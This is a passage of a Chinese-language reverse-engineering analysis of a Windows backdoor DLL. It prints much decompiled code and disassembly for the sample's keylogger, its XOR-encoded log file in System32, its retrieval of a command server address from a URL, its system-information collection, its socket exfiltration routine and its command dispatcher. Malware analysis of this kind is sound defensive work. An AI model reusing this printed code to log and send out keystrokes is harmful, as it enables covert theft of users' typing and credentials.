WriteFile(FileA, v4, v6, &NumberOfBytesWritten, 0);
return CloseHandle(FileA);
}
迭代收尾
在开始循环迭代虚拟键码前，还有一个迭代的收尾处理。如果string在最后仍然非空（程序键码超出101，仍有一些收集的字符残留在string中），就会进入sub_10005F30，在其中记新系统时间，并且保存剩下的字母（还会判断一下当前前台窗口的标题是否是上一次存放的标题，如果不是，就说明下一个迭代周期，键盘记录程序已经在记录别的窗口的键盘信息了）。
// 程序末尾
LABEL_35:
if ( ++v2 >= 101 )
goto LABEL_3;
}
LABEL_3:
Sleep(0xAu); // 线程暂停10ms
if ( lstrlenA(String) ) // 检查string长度
{
if ( sub_10005F30() ) // string非空调用
{
SaveStrToLocalFile(asc_1001B9C0);
SaveStrToLocalFile(String);
}
else
{
SaveStrToLocalFile(String);
}
memset(String, 0, sizeof(String));
}
int sub_10005F30()
{
int v0; // esi
struct _SYSTEMTIME SystemTime; // [esp+8h] [ebp-410h] BYREF
CHAR String[1021]; // [esp+18h] [ebp-400h] BYREF
__int16 v4; // [esp+415h] [ebp-3h]
char v5; // [esp+417h] [ebp-1h]
memset(::String, 0, sizeof(::String));
dword_10022A10 = (int)GetForegroundWindow();
GetWindowTextA((HWND)dword_10022A10, ::String, 1024);
memset(String, 0, sizeof(String));
v0 = 0;
v4 = 0;
v5 = 0;
if ( dword_10022A10 != dword_1002260C )
{
if ( lstrlenA(::String) > 0 )
{
GetLocalTime(&SystemTime);
wsprintfA(
String,
asc_1001B97C,
::String,
SystemTime.wYear,
SystemTime.wMonth,
SystemTime.wDay,
SystemTime.wHour,
SystemTime.wMinute,
SystemTime.wSecond);
SaveStrToLocalFile(String);
memset(::String, 0, sizeof(::String));
v0 = 1;
}
dword_1002260C = dword_10022A10;
}
return v0;
}
信息调度与处理
查看.key的交叉引用，查看哪里还使用了这个Windows.key文件，定位到sub_10006250
这是一个比较大只，头重脚轻的函数
sub_100034D0（通用数据发送接口）
首先调用了sub_100034D0，传入的参数是传入sub_10006250的第一个参数，类型为HANDLE，还有int值8025
.text:10006250 81 EC 0C 02 00 00 sub esp, 20Ch
.text:10006256 53 push ebx
.text:10006257 55 push ebp
.text:10006258 56 push esi
.text:10006259 57 push edi
.text:1000625A 8B E9 mov ebp, ecx
.text:1000625C 81 EC 20 06 00 00 sub esp, 620h
.text:10006262 B9 88 01 00 00 mov ecx, 188h
.text:10006267 8D B4 24 40 08 00 00 lea esi, [esp+83Ch+arg_0]
.text:1000626E 8B FC mov edi, esp
.text:10006270 68 59 1F 00 00 push 1F59h
.text:10006275 F3 A5 rep movsd
.text:10006277 8B CD mov ecx, ebp
.text:10006279 89 AC 24 34 06 00 00 mov [esp+840h+var_20C], ebp
.text:10006280 E8 4B D2 FF FF call sub_100034D0
可以看到，传了edi和1F59h的参数，跟进sub_100034D0
.text:100034D0 81 EC EC 01 00 00 sub esp, 1ECh
.text:100034D6 53 push ebx
.text:100034D7 55 push ebp
.text:100034D8 56 push esi
.text:100034D9 57 push edi
.text:100034DA 8B D9 mov ebx, ecx
.text:100034DC E8 4F 03 00 00 call sub_10003830
.text:100034DC
.text:100034E1 8D 7B 04 lea edi, [ebx+4]
.text:100034E4 B9 88 01 00 00 mov ecx, 188h
.text:100034E9 8D B4 24 04 02 00 00 lea esi, [esp+1FCh+arg_4]
.text:100034F0 8D 43 38 lea eax, [ebx+38h]
.text:100034F3 F3 A5 rep movsd
.text:100034F5 8D B3 2C 06 00 00 lea esi, [ebx+62Ch]
.text:100034FB 50 push eax ; lpString2
.text:100034FC 56 push esi ; lpString1
.text:100034FD FF 15 2C 52 01 10 call ds:lstrcpyA
.text:100034FD
.text:10003503 8B 4B 10 mov ecx, [ebx+10h]
.text:10003506 8D BB 38 01 00 00 lea edi, [ebx+138h]
.text:1000350C 57 push edi ; lpString
.text:1000350D 89 8B 30 07 00 00 mov [ebx+730h], ecx
.text:10003513 FF 15 34 52 01 10 call ds:lstrlenA
.text:10003513
.text:10003519 85 C0 test eax, eax
.text:1000351B 74 08 jz short loc_10003525
.text:1000351B
.text:1000351D 57 push edi
.text:1000351E 8B CB mov ecx, ebx
.text:10003520 E8 AB 00 00 00 call sub_100035D0
.text:10003520
.text:10003525
.text:10003525 loc_10003525: ; CODE XREF: sub_100034D0+4B↑j
.text:10003525 8B 2D 00 52 01 10 mov ebp, ds:GetTickCount
.text:1000352B FF D5 call ebp ; GetTickCount
.text:1000352B
.text:1000352D 8B 93 30 07 00 00 mov edx, [ebx+730h]
.text:10003533 8B CB mov ecx, ebx
.text:10003535 52 push edx ; hostshort
.text:10003536 56 push esi ; lpString2
.text:10003537 89 44 24 18 mov [esp+204h+var_1EC], eax
.text:1000353B E8 A0 0B 00 00 call sub_100040E0
.text:1000353B
.text:10003540 85 C0 test eax, eax
.text:10003542 89 83 24 06 00 00 mov [ebx+624h], eax
.text:10003548 75 0D jnz short loc_10003557
.text:10003548
.text:1000354A 5F pop edi
.text:1000354B 5E pop esi
.text:1000354C 5D pop ebp
.text:1000354D 5B pop ebx
.text:1000354E 81 C4 EC 01 00 00 add esp, 1ECh
.text:10003554 C2 24 06 retn 624h
.text:10003554
.text:10003557 ; ---------------------------------------------------------------------------
.text:10003557
.text:10003557 loc_10003557: ; CODE XREF: sub_100034D0+78↑j
.text:10003557 B9 78 00 00 00 mov ecx, 78h ; 'x'
.text:1000355C 33 C0 xor eax, eax
.text:1000355E 8D 7C 24 1C lea edi, [esp+1FCh+var_1E0]
.text:10003562 F3 AB rep stosd
.text:10003564 8B 84 24 00 02 00 00 mov eax, [esp+1FCh+arg_0]
.text:1000356B 8B 8B 0C 05 00 00 mov ecx, [ebx+50Ch]
.text:10003571 89 44 24 14 mov dword ptr [esp+1FCh+buf], eax
.text:10003575 89 4C 24 48 mov [esp+1FCh+var_1B4], ecx
.text:10003579 FF D5 call ebp ; GetTickCount
.text:10003579
.text:1000357B 8B 74 24 10 mov esi, [esp+1FCh+var_1EC]
.text:1000357F 8D 54 24 14 lea edx, [esp+1FCh+buf]
.text:10003583 2B C6 sub eax, esi
.text:10003585 8B CB mov ecx, ebx
.text:10003587 50 push eax
.text:10003588 8D 43 04 lea eax, [ebx+4]
.text:1000358B 50 push eax
.text:1000358C 52 push edx
.text:1000358D E8 BE 09 00 00 call sub_10003F50
.text:1000358D
.text:10003592 8D 44 24 14 lea eax, [esp+1FCh+buf]
.text:10003596 68 E8 01 00 00 push 1E8h
.text:1000359B 50 push eax
.text:1000359C E8 BF 30 00 00 call sub_10006660
.text:1000359C
.text:100035A1 83 C4 08 add esp, 8
.text:100035A4 8D 4C 24 14 lea ecx, [esp+1FCh+buf]
.text:100035A8 68 E8 01 00 00 push 1E8h ; len
.text:100035AD 51 push ecx ; buf
.text:100035AE 8B CB mov ecx, ebx
.text:100035B0 E8 BB 01 00 00 call sub_10003770
.text:100035B0
.text:100035B5 5F pop edi
.text:100035B6 5E pop esi
.text:100035B7 5D pop ebp
.text:100035B8 5B pop ebx
.text:100035B9 81 C4 EC 01 00 00 add esp, 1ECh
.text:100035BF C2 24 06 retn 624h
.text:100035BF
.text:100035BF sub_100034D0 endp
先看第一个call，sub_10003830
里面调用了closesocket接口，看来主要是把收集到的信息socket发送出去
.text:10003830 56 push esi
.text:10003831 8B F1 mov esi, ecx
.text:10003833 8B 86 24 06 00 00 mov eax, [esi+624h]
.text:10003839 85 C0 test eax, eax
.text:1000383B 74 11 jz short loc_1000384E
.text:1000383B
.text:1000383D 50 push eax ; s
.text:1000383E FF 15 40 54 01 10 call ds:closesocket
.text:1000383E
.text:10003844 C7 86 24 06 00 00 00 00 00 00 mov dword ptr [esi+624h], 0
.text:10003844
.text:1000384E
.text:1000384E loc_1000384E: ; CODE XREF: sub_10003830+B↑j
.text:1000384E 5E pop esi
.text:1000384F C3 retn
.text:1000384F
.text:1000384F sub_10003830 endp
int __thiscall sub_10003830(SOCKET *this)
{
int result; // eax
result = this[393];
if ( result )
{
result = closesocket(this[393]);
this[393] = 0;
}
return result;
}
在__thiscall调用约定中，ecx寄存器往往是存放this指针的，因此这里是传递了ecx的this指针给sub_10003830函数，this指针中可能注册了socket实例。
.text:100034D0 81 EC EC 01 00 00 sub esp, 1ECh
.text:100034D6 53 push ebx
.text:100034D7 55 push ebp
.text:100034D8 56 push esi
.text:100034D9 57 push edi
.text:100034DA 8B D9 mov ebx, ecx
.text:100034DC E8 4F 03 00 00 call sub_10003830
会检查this指针第394位，若非空，则关闭socket，再置空，可能是标志位，或者是socket存储位置，判断此刻socket非空，就释放。这个函数位于最前面，应该是为后续操作清除资源做初始化操作。
调用lstrcpyA将传入的对象中成员进行复制，以及赋值
sub_10003830();
qmemcpy((void *)(a1 + 4), &a3, 0x620u);
lstrcpyA((LPSTR)(a1 + 1580), (LPCSTR)(a1 + 56));
*(_DWORD *)(a1 + 1840) = *(_DWORD *)(a1 + 16);
LPCSTR 通常用于 Windows API 中，表示一个指向以 null 结尾的字符数组（即 C 风格字符串）的指针。所以这里是指向a1向后的312位偏移处，这里存放一个指向字符数组的指针。如果这个字符数组不为空，则调用sub_100035D0
if ( lstrlenA((LPCSTR)(a1 + 312)) )
sub_100035D0(a1 + 312);
跟进，分析在注释里。sub_100035D0函数作用为从web获取临时文件数据，并从中解析URL信息，于是重命名为ParseWebTmpFileInfo
int __thiscall ParseWebTmpFileInfo(int this, const char *a2)
{
int v3; // eax
int result; // eax
HANDLE FileA; // eax
void *v6; // edi
unsigned int FileSize; // ebp
void *v8; // esi
PSTR v9; // eax
PSTR v10; // eax
PSTR v11; // eax
PSTR v12; // edi
DWORD CurrentThreadId; // [esp-4h] [ebp-518h]
DWORD NumberOfBytesRead; // [esp+Ch] [ebp-508h] BYREF
CHAR Buffer[257]; // [esp+10h] [ebp-504h] BYREF
__int16 v16; // [esp+111h] [ebp-403h]
char v17; // [esp+113h] [ebp-401h]
CHAR szUrl[1021]; // [esp+114h] [ebp-400h] BYREF
__int16 v19; // [esp+511h] [ebp-3h]
char v20; // [esp+513h] [ebp-1h]
memset(szUrl, 0, sizeof(szUrl));
v19 = 0;
v20 = 0;
wsprintfA(szUrl, "http://%s", a2); // 构建URL
memset(Buffer, 0, sizeof(Buffer));
v16 = 0;
v17 = 0;
GetTempPathA(0xFAu, Buffer); // 获取系统临时文件夹的路径
CurrentThreadId = GetCurrentThreadId(); // 获取当前线程的ID
v3 = lstrlenA(Buffer);
wsprintfA(&Buffer[v3], "%08x.txt", CurrentThreadId);// 构建一个临时文件名，TID.txt
result = DownloadData2FileFromUrl(szUrl, Buffer);// 从URL下载数据到临时文件
if ( result )
{
FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x80u, 0);
v6 = FileA;
if ( FileA == (HANDLE)-1 )
{
return 0;
}
else
{
NumberOfBytesRead = 0;
FileSize = GetFileSize(FileA, 0);
v8 = operator new(FileSize);
ReadFile(v6, v8, FileSize, &NumberOfBytesRead, 0);// 把临时文件数据写入内存
CloseHandle(v6);
DeleteFileA(Buffer); // 写入内存之后就删了临时文件
v9 = StrChrA((PCSTR)v8, 0xDu); // 回车，CR，13
if ( v9 ) // 置空
*v9 = 0;
v10 = StrChrA((PCSTR)v8, 0xAu); // 换行，LF，10
if ( v10 ) // 置空
*v10 = 0;
v11 = StrChrA((PCSTR)v8, 0x3Au); // 冒号，58
v12 = v11;
if ( v11 )
{
*v11 = 0;
lstrcpyA((LPSTR)(this + 1580), (LPCSTR)v8);// 如果找到冒号，分割字符串并将前半部分复制到this+1580的位置
*(_DWORD *)(this + 1840) = StrToIntA(v12 + 1);// 将冒号后的字符串（端口）转换为整数并存储到this+1840的位置
}
else
{
lstrcpyA((LPSTR)(this + 1580), (LPCSTR)v8);// 如果没有找到冒号，只复制字符串并设置默认端口80
*(_DWORD *)(this + 1840) = 80;
}
operator delete(v8); // 关闭内存
return 1;
}
}
return result;
}
跟进sub_100064C0，重命名为DownloadData2FileFromUrl。该函数主要作用是从url下载数据到临时文件。
int __cdecl sub_100064C0(LPCSTR lpszUrl, LPCSTR lpFileName)
{
void *v2; // ebp
void *v3; // esi
HANDLE FileA; // edi
int v6; // ebx
DWORD dwNumberOfBytesRead; // [esp+10h] [ebp-1218h] BYREF
int v8; // [esp+14h] [ebp-1214h]
HINTERNET hInternet; // [esp+18h] [ebp-1210h]
DWORD dwBufferLength; // [esp+1Ch] [ebp-120Ch] BYREF
DWORD dwIndex; // [esp+20h] [ebp-1208h] BYREF
DWORD NumberOfBytesWritten; // [esp+24h] [ebp-1204h] BYREF
_BYTE String2[253]; // [esp+28h] [ebp-1200h] BYREF
__int16 v14; // [esp+125h] [ebp-1103h]
char v15; // [esp+127h] [ebp-1101h]
CHAR Buffer[253]; // [esp+128h] [ebp-1100h] BYREF
__int16 v17; // [esp+225h] [ebp-1003h]
char v18; // [esp+227h] [ebp-1001h]
char v19[4096]; // [esp+228h] [ebp-1000h] BYREF
v2 = InternetOpenA(pszSubKey, 0, 0, 0, 0);
hInternet = v2;
if ( !v2 )
return 0;
v3 = InternetOpenUrlA(v2, lpszUrl, 0, 0, 0x80000100, 0);
if ( !v3 )
{
InternetCloseHandle(v2);
return 0;
}
memset(Buffer, 0, sizeof(Buffer));
memset(&String2[1], 0, 0xFCu);
v14 = 0;
v15 = 0;
v17 = 0;
v18 = 0;
qmemcpy(String2, "200", 3);
dwBufferLength = 250;
dwIndex = 0;
if ( !HttpQueryInfoA(v3, 0x13u, Buffer, &dwBufferLength, &dwIndex)
|| lstrcmpA(Buffer, String2)
|| (FileA = CreateFileA(lpFileName, 0x40000000u, 0, 0, 1u, 0x80u, 0), FileA == (HANDLE)-1) )
{
InternetCloseHandle(v3);
InternetCloseHandle(v2);
return 0;
}
v8 = 0;
dwNumberOfBytesRead = 0;
NumberOfBytesWritten = 0;
while ( InternetReadFile(v3, v19, 0xFA0u, &dwNumberOfBytesRead) )
{
if ( !dwNumberOfBytesRead )
{
v6 = 1;
goto LABEL_13;
}
WriteFile(FileA, v19, dwNumberOfBytesRead, &NumberOfBytesWritten, 0);
}
v6 = v8;
LABEL_13:
CloseHandle(FileA);
InternetCloseHandle(v3);
InternetCloseHandle(hInternet);
return v6;
}
回到sub_100034D0，提取出信息存储到this对象之后，生成计数器，然后调用sub_100040E0，这里两个参数分别是提取的URL和端口
TickCount = GetTickCount();
result = sub_100040E0((LPCSTR)(a1 + 1580), *(_DWORD *)(a1 + 1840));
经过分析，sub_100040E0的作用是根据URL和端口创建socket并且发起通信，一切成功则返回套接字描述符，因此重命名为SocketConnect
struct hostent *__stdcall SocketConnect(LPCSTR lpString2, u_short hostshort)
{
struct hostent *result; // eax
unsigned int h_length; // ecx
const void **h_addr_list; // eax
const void *v5; // esi
char *v6; // eax
SOCKET v7; // eax
SOCKET v8; // esi
char v9[4]; // [esp+10h] [ebp-12Ch] BYREF
struct sockaddr name; // [esp+14h] [ebp-128h] BYREF
char optval[4]; // [esp+24h] [ebp-118h] BYREF
struct in_addr in[3]; // [esp+2Ah] [ebp-112h] BYREF
__int16 v13; // [esp+36h] [ebp-106h]
CHAR String1[257]; // [esp+38h] [ebp-104h] BYREF
__int16 v15; // [esp+139h] [ebp-3h]
char v16; // [esp+13Bh] [ebp-1h]
memset(String1, 0, sizeof(String1));
v15 = 0;
memset(&name, 0, sizeof(name));
v16 = 0;
lstrcpyA(String1, lpString2); // 追加url
if ( inet_addr(String1) == -1 ) // winsock2函数，转换为网络地址
{
result = gethostbyname(String1); // winsock函数，转换失败的话，根据域名解析IP地址
if ( !result )
return result;
h_length = result->h_length;
h_addr_list = (const void **)result->h_addr_list;
memset(in, 0, sizeof(in));
v5 = *h_addr_list;
v13 = 0;
qmemcpy(&in[0].S_un.S_un_w.s_w2, v5, h_length);
v6 = inet_ntoa(*(struct in_addr *)&in[0].S_un.S_un_w.s_w2);
lstrcpyA(String1, v6); // 处理地址之后存放入string1
}
*(_DWORD *)&name.sa_data[2] = inet_addr(String1);// 源地址
*(_WORD *)name.sa_data = htons(hostshort); // 源端口
name.sa_family = 2; // 协议族
v7 = socket(2, 1, 0); // 创建socket
v8 = v7;
if ( v7 == -1 )
return 0;
if ( connect(v7, &name, 16) == -1 || (*(_DWORD *)optval = 1, setsockopt(v8, 6, 1, optval, 4)) )// 发起socket通信
{
closesocket(v8);
return 0;
}
else
{
*(_DWORD *)v9 = 1;
if ( setsockopt(v8, 0xFFFF, 8, v9, 4)
|| (*(_DWORD *)v9 = 3600000, setsockopt(v8, 0xFFFF, 4102, v9, 4))
|| (*(_DWORD *)v9 = 3600000, setsockopt(v8, 0xFFFF, 4101, v9, 4)) )
{
closesocket(v8);
return 0;
}
else
{
return (struct hostent *)v8; // 返回套接字描述符
}
}
}
回到100034D0，如果result返回了套接字描述符，则注册到this对象1572偏移处，并且调用sub_10003F50、sub_10006660与sub_10003770函数
*(_DWORD *)(a1 + 1572) = result;
if ( result )
{
memset(v70, 0, sizeof(v70));
v66 = *(_DWORD *)(a1 + 1292);
*(_DWORD *)buf = a2;
v70[11] = v66;
v67 = GetTickCount();
sub_10003F50(buf, a1 + 4, v67 - TickCount);
sub_10006660(buf, 488);
return sub_10003770(buf, 488);
}
return result;
首先跟进sub_10003F50，整体是获取系统信息的作用，改名为GetSysInfo
UINT __thiscall GetSysInfo(_DWORD *this, int a2, int a3, int a4)
{
int v5; // eax
DWORD dwNumberOfProcessors; // ecx
int ullTotalPhys_high; // ecx
UINT result; // eax
SOCKET v9; // [esp-Ch] [ebp-98h]
DWORD nSize; // [esp+10h] [ebp-7Ch] BYREF
int namelen; // [esp+14h] [ebp-78h] BYREF
struct sockaddr name; // [esp+18h] [ebp-74h] BYREF
struct _SYSTEM_INFO SystemInfo; // [esp+28h] [ebp-64h] BYREF
struct _MEMORYSTATUSEX Buffer; // [esp+4Ch] [ebp-40h] BYREF
SystemInfo.dwOemId = 0;
*(_DWORD *)(a2 + 44) = sub_100042F0();
*(_DWORD *)(a2 + 8) = 808464432;
*(_DWORD *)(a2 + 12) = 808464432;
memset(&SystemInfo.dwPageSize, 0, 0x20u);
GetSystemInfo(&SystemInfo); // 获取系统信息systeminfo结构体指针
v5 = sub_100043D0(this); // 获取系统信息，存储入this对象
dwNumberOfProcessors = SystemInfo.dwNumberOfProcessors;
*(_DWORD *)(a2 + 16) = v5;
*(_DWORD *)(a2 + 48) = dwNumberOfProcessors;
memset(&Buffer.dwMemoryLoad, 0, 0x3Cu);
Buffer.dwLength = 64;
GlobalMemoryStatusEx(&Buffer);
ullTotalPhys_high = HIDWORD(Buffer.ullTotalPhys);
*(_DWORD *)(a2 + 24) = Buffer.ullTotalPhys;
*(_DWORD *)(a2 + 28) = ullTotalPhys_high;
nSize = 16;
RegTableOperation(HKEY_CURRENT_USER, aSoftwareLimit, ValueName, 1u, (LPSTR)(a2 + 228), 0, 128, 0);// 查询修改注册表信息
if ( !lstrlenA((LPCSTR)(a2 + 228)) )
GetComputerNameA((LPSTR)(a2 + 228), &nSize);// 获取主机名称
*(_DWORD *)(a2 + 40) = (char)sub_10004760(this);
lstrcpyA((LPSTR)(a2 + 100), (LPCSTR)(a3 + 564));
*(_DWORD *)(a2 + 64) = *(_DWORD *)(a3 + 1292);
*(_DWORD *)(a2 + 68) = *(_DWORD *)(a3 + 1296);
*(_DWORD *)(a2 + 72) = *(_DWORD *)(a3 + 1300);
*(_DWORD *)(a2 + 76) = *(_DWORD *)(a3 + 1304);
lstrcpyA((LPSTR)(a2 + 356), (LPCSTR)(a3 + 996));
lstrcpyA((LPSTR)(a2 + 420), (LPCSTR)(a3 + 964));
memset(&name, 0, sizeof(name));
v9 = this[393]; // 从this对象获取sock值
namelen = 16;
getsockname(v9, &name, &namelen);
*(_DWORD *)(a2 + 56) = *(_DWORD *)&name.sa_data[2];// 注册到a2中
*(_DWORD *)(a2 + 60) = a4;
*(_DWORD *)(a2 + 32) = GetACP();
result = GetOEMCP();
*(_DWORD *)(a2 + 36) = result;
return result;
}
重点关注：sub_10003AC0，对注册表操作，传入的参数为HKEY_CURRENT_USER, "Software\limit", "Host"等，提取出来的关键代码完整流程（省略了一大部分）：
// 注册表操作，HKEY_CURRENT_USER, "Software\limit", "Host", 1u, (LPSTR)(a2 + 228), 0, 128, 0
// 查询当前用户下，Software\limit下Host记录的值，并追加到this对象中
int RegTableOperation(
HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName,
DWORD Type, LPSTR lpString1, LPBYTE lpData,
int a7, int a8)
{
HKEY phkResult; // 存储打开的键的句柄
DWORD cbData; // 存储数据大小
BYTE Data[260]; // 存储注册表值的数据
int v21 = 0; // 存储函数的返回状态
// 尝试打开注册表键
if (RegOpenKeyExA(hKey, lpSubKey, 0, KEY_QUERY_VALUE, &phkResult) != ERROR_SUCCESS)
{
v21 = -1;
}
else
{
// 查询字符串类型的值
cbData = 260;
if (RegQueryValueExA(phkResult, lpValueName, 0, NULL, Data, &cbData) == ERROR_SUCCESS)
{
// 将查询到的字符串复制到指定的缓冲区
strcpy(lpString1, (const char *)Data);
v21 = 1;
}
}
// 关闭打开的注册表键
RegCloseKey(phkResult);
return v21; // 返回操作状态
}
sub_10006660起到一个异或加密的作用
unsigned int __cdecl sub_10006660(int a1, unsigned int a2)
{
unsigned int result; // eax
for ( result = 0; result < a2; ++result )
*(_BYTE *)(result + a1) = (*(_BYTE *)(result + a1) ^ 0x96) + 35;
return result;
}
sub_10003770中send了套接字消息，重命名为SocketSend
int __thiscall SocketSend(SOCKET *this, char *buf, unsigned int len)
{
unsigned int v5; // ebx
int v6; // edi
int v8; // eax
v5 = 0;
v6 = len;
if ( !this[393] )
return 0;
if ( len )
{
while ( 1 )
{
v8 = send(this[393], buf, v6, 0);
if ( v8 <= 0 )
break;
v5 += v8;
buf += v8;
v6 -= v8;
if ( v5 >= len )
return 1;
}
return 0;
}
return 1;
}
int __userpurge sub_100034D0@<eax>(
int a1@<ecx>,
int a2,
......
int a63)
{
int result; // eax
int v66; // ecx
DWORD v67; // eax
DWORD TickCount; // [esp+10h] [ebp-1ECh]
char buf[4]; // [esp+14h] [ebp-1E8h] BYREF
int v70[120]; // [esp+1Ch] [ebp-1E0h] BYREF
sub_10003830();
qmemcpy((void *)(a1 + 4), &a3, 0x620u);
lstrcpyA((LPSTR)(a1 + 1580), (LPCSTR)(a1 + 56));
*(_DWORD *)(a1 + 1840) = *(_DWORD *)(a1 + 16);
if ( lstrlenA((LPCSTR)(a1 + 312)) )
ParseWebTmpFileInfo(a1 + 312);
TickCount = GetTickCount();
result = SocketConnect((LPCSTR)(a1 + 1580), *(_DWORD *)(a1 + 1840));// 参数分别是，提取的URL和端口
*(_DWORD *)(a1 + 1572) = result;
if ( result )
{
memset(v70, 0, sizeof(v70));
v66 = *(_DWORD *)(a1 + 1292);
*(_DWORD *)buf = a2;
v70[11] = v66;
v67 = GetTickCount();
GetSysInfo(buf, a1 + 4, v67 - TickCount);
XorEncrypt(buf, 488);
return SocketSend(buf, 488);
}
return result;
}
到此为止，sub_100034D0的行为已经很清晰了，下载web数据（从归属对象中取出）到临时文件并提取URL和端口信息到内存，获取系统信息，发起socket连接，XOR加密并send数据。
根据以上分析，可以得出这个sub_100034D0是通用的数据发送接口，包括connect、encrypt、send等，在sub_10006250开头调用的这里send的数据不是我们收集的Windows.key文件，猜测这是信息处理之前把资源清空，或者传输过去的int 8025是一个特殊的敲门单词。当然我这里是分析中瞎猜的
sub_100034D0(
(int)a1,
8025,
.....
跟进导出函数UserService，回头可以发现，此处的sub_100034D0的第二个参数，传的其实是后门的行为标识符，帮助C2了解此时程序的行为。
总结
int __userpurge KeyWatcher@<eax>(
HANDLE *a1@<ecx>,
int a2,
......
int a63)
{
int result; // eax
void *v66; // ebx
......
char v83; // [esp+21Bh] [ebp-1h]
qmemcpy(v75, &a2, sizeof(v75));
v76 = a1;
sub_100034D0(
(int)a1,
8025,
v75[0],
......
v75[60]);
memset(Buffer, 0, sizeof(Buffer));
v79 = 0;
v80 = 0;
GetSystemDirectoryA(Buffer, 0x104u); // 检索系统目录的路径
Name[0] = 0;
strcat(Buffer, asc_1001B83C); // "Windows.key"
strcat(Buffer, aWindows);
strcat(Buffer, aKey);
memset(&Name[1], 0, 0xFCu);
v82 = 0;
v83 = 0;
wsprintfA(Name, aZt); // "zt"
result = (int)OpenMutexA(0x100000u, 0, Name);
v66 = (void *)result;
if ( !result )
return result;
beginthread((_beginthread_proc_type)sub_10005DE0, 0, a1);
CreateThread(0, 0, KeyWatcherThread, 0, 0, 0);// 开辟键盘迭代记录器线程
v67 = (void (__stdcall *)(HANDLE, DWORD))WaitForSingleObject;
if ( WaitForSingleObject(a1[461], 0x32u) != 258 )
goto LABEL_15;
while ( 1 )
{
v68 = 0;
NumberOfBytesRead = 0;
v67(v66, 0xFFFFFFFF);
FileA = CreateFileA(Buffer, 0x80000000, 1u, 0, 3u, 0x80u, 0);// 打开Windows.key
v70 = FileA;
if ( FileA != (HANDLE)-1 )
{
FileSize = GetFileSize(FileA, 0);
v72 = FileSize;
if ( FileSize )
{
v68 = operator new(FileSize);
ReadFile(v70, v68, v72, &NumberOfBytesRead, 0);// 读取到新开辟内存
for ( i = 0; i < v72; ++i )
*((_BYTE *)v68 + i) ^= 0x62u;
}
CloseHandle(v70);
DeleteFileA(Buffer); // 更新Windows.key
v67 = (void (__stdcall *)(HANDLE, DWORD))WaitForSingleObject;
}
ReleaseMutex(v66);
if ( !NumberOfBytesRead || !v68 )
goto LABEL_12;
v74 = SocketSendAPI((int)v68, NumberOfBytesRead, 0);// SocketSend的接口，增加了一些状况判定
v75[391] = (int)v68;
if ( !v74 )
break;
operator delete((void *)v75[391]); // 发送成功清空发送完毕的内存中Windows.key文件数据
LABEL_12:
if ( ((DWORD (__stdcall *)(HANDLE, DWORD))v67)(v76[461], 0x32u) != 258 )
goto LABEL_15;
}
operator delete((void *)v75[391]);
LABEL_15:
CloseHandle(v66);
return 1;
}
最终成功分析完键盘记录器的行为，sub_10006250本质是键盘记录器的调度程序，重命名为KeyWatcher，其中会开辟Keywatcher线程（sub_10006040函数）进行键盘记录，收集来的信息放在C:\Windows\System32\Windows.key中，在sub_10006250中重复地被发送给远端主机。
远端主机的信息的获取链路：
- 从this对象中提取出远端URL（已经存储）
- 从URL下载web数据到本地临时文件
- 从临时文件数据中提取URL和端口到this对象
追踪病毒控制函数
可以发现，病毒以this对象为调度中心，会在其中存放一些关键配置，因此这里需要追踪这个对象。
观察IDA中sub_100034D0的签名，可以发现使用用户自定义函数调用__userpurge，，这里表示a1的值通过ecx寄存器传递，而这个a1存放的就是刚刚一直使用的this上下文对象，那么我们需要追踪ecx寄存器。
int __userpurge sub_100034D0@<eax>(
int a1@<ecx>,
查看sub_100034D0交叉引用，慢慢排查
由于是对象与方法，这里我们任选一个进行溯源，选择第一个跟进到sub_10001B00，a1 ecx也是他的参数，交叉引用只有一条，跟进到sub_100024D0
void __cdecl sub_100024D0(void *a1)
{
HWAVEIN v1[392]; // [esp-620h] [ebp-13B0h] BYREF
char v2[1568]; // [esp+8h] [ebp-D88h] BYREF
char v3[1884]; // [esp+628h] [ebp-768h] BYREF
int v4; // [esp+D8Ch] [ebp-4h]
qmemcpy(v2, a1, sizeof(v2));
operator delete(a1);
sub_10001970(v3);
qmemcpy(v1, v2, sizeof(v1));
v4 = 0;
sub_10001B00(
(int)v3,
v1[0],
(int)v1[1],
此时a1作为参数传递进sub_100024D0函数，并赋值给v1数组。这里的HWAVEIN代表着接收设备的波形设备标识符（音频输入设备句柄）。这里合理猜测是监听声音输入信息的驱动。
继续跟进唯一的交叉引用sub_10002020，里面开辟了非常多的线程，有非常多的case分支，很可能是病毒的命令处理函数，是核心逻辑。
int __thiscall sub_10002020(HANDLE *this, _DWORD *a2)
{
HANDLE *v2; // esi
int result; // eax
_DWORD *v4; // ebx
char buf[4]; // [esp+14h] [ebp-8h] BYREF
int v7; // [esp+18h] [ebp-4h]
v2 = this;
*a2 = 0;
while ( 1 )
{
*(_DWORD *)buf = 0;
v7 = 0;
result = sub_100037D0(buf, 8);
if ( !result )
return result;
SetEvent(v2[462]);
v4 = operator new(0x620u);
qmemcpy(v4, v2 + 1, 0x620u);
v4[322] = v7;
v4[11] = *(_DWORD *)buf;
if ( *(_DWORD *)buf > 0x1F52u )
{
if ( *(_DWORD *)buf > 0x7532u )
{
if ( *(_DWORD *)buf == 30004 )
{
operator delete(v4);
*a2 = 12289;
sub_10003340(0);
}
else if ( *(_DWORD *)buf == 30005 )
{
operator delete(v4);
*a2 = 12289;
sub_10003340(1);
}
else
{
LABEL_27:
operator delete(v4);
}
}
else if ( *(_DWORD *)buf == 30002 )
{
operator delete(v4);
*a2 = 12288;
beginthread(sub_100032F0, 0, v4);
}
else
{
switch ( *(_DWORD *)buf )
{
case 0x1F54:
LABEL_18:
beginthread(sub_10002580, 0, v4);
break;
case 0x1F56:
beginthread(sub_10002420, 0, v4);
break;
case 0x1F57:
beginthread(sub_100024D0, 0, v4);
break;
case 0x1F58:
beginthread(sub_10002790, 0, v4);
break;
case 0x1F59:
beginthread(StartAddress, 0, v4);
break;
case 0x1F5A:
beginthread(sub_10002E20, 0, v4);
break;
default:
goto LABEL_27;
}
}
}
else if ( *(_DWORD *)buf == 8018 )
{
beginthread(sub_10002840, 0, v4);
}
else
{
switch ( *(_DWORD *)buf )
{
case 0x1F41:
beginthread(sub_10002630, 0, v4);
break;
case 0x1F42:
case 0x1F43:
case 0x1F44:
case 0x1F4E:
case 0x1F4F:
goto LABEL_18;
case 0x1F47:
beginthread(sub_100022C0, 0, v4);
break;
case 0x1F48:
beginthread(sub_100026E0, 0, v4);
break;
case 0x1F49:
break;
case 0x1F4A:
beginthread(sub_10002C40, 0, v4);
break;
case 0x1F4B:
